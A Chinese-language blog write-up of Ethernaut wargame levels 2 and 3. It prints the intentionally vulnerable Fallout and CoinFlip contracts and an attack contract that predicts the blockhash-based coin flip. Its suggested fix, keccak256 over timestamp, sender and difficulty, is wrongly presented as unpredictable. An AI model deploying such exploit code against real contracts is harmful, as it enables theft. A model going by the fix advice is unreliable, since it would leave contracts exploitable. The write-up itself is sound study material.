Ethernaut-刷题小记(二)

Ethernaut刷题小记(二)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

第二关没啥东西,就是因为合约名字是Fallout,而构造函数叫做Fal1out,因为这个错误,当合约被部署时,构造函数在创建时从未被执行,owner自然也没有更新,因为Fal1out被当作一个普通函数了,从而我们可以多次调用,并且调用一次,合约所有者就是我们自己了。

在 Solidity 0.4.22 之前,为一个合约定义构造函数的唯一方法是定义一个与合约本身同名的函数。

在该版本之后,他们引入了一个新的constructor关键字来避免这种错误。*

在这个例子中,开发者犯了一个错误,把构造函数的名字弄错了。

Contract name -> Fallout // Constructor name -> Fal1out // 这样做的结果是,合约从未被初始化,所有者是地址(0)

而且我们能够调用Fal1out函数,在这一点上,它不是一个构造函数(只能调用一次),而是一个 “普通”函数。

这也意味着任何人都可以多次调用这个函数来切换合约的所有者。

通关条件就是拿到owner

接着开始第三关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

分析合约

我们需要连续猜对十次硬币的正反面才能通关

通过分析合约可以确定_guess=uint256(blockhash(block.number.sub(1))).div(57896044618658097711785492504343953926634992332820282019728792003956564819968),那我们不就已经知道怎么去预测了吗,取当前区块的 前一个区块block.number - 1)的 哈希值,并将其转换成 uint256 类型。使用 blockhash(block.number - 1) 生成随机性

直接上攻击代码(代码来自9C±Void师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Level3.sol';

contract CoinFlipAttack{
address target_addr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 lastHash;

constructor(){
target_addr = 攻击合约地址;
}
function attack() public{
uint256 blockValue = uint256(blockhash(block.number-1));

lastHash = blockValue;
uint256 coinFlipResult = blockValue / FACTOR;
bool side = coinFlipResult == 1 ? true : false;

CoinFlip(target_addr).flip(side);
}
}
  1. 区块链上的所有东西都是公开的,即便是像 “lastHash “和 “FACTOR “这样的私有变量;
  2. 区块链中没有真正的 “原生” 随机性,而只有 “伪随机性”。

一开始我是写了一个循环的,但是发现需要停几秒,因为要等lastHash = blockValue,但是合约代码是没有暂停这个功能的,只能作罢

✅ 解决方案

  1. 使用 keccak256 生成随机数

    1
    uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, block.difficulty)));
    • block.timestamp(当前时间戳)+ msg.sender(调用者地址)+ block.difficulty(区块难度)。
    • 这样计算出的 randomValue 难以预测,攻击者无法提前计算硬币正反面。
  2. 使用 Chainlink VRF(真正随机数)

    • blockhash(block.number - 1)伪随机数,而 Chainlink VRF 提供真正的不可预测随机数
    • 可以用 Chainlink VRF 取代 blockhash(),提高安全性。

Ethernaut-刷题小记(二)
https://eznp.github.io/2025/03/18/Ethernaut-刷题小记(二)/
作者
Zer0
发布于
2025年3月18日
许可协议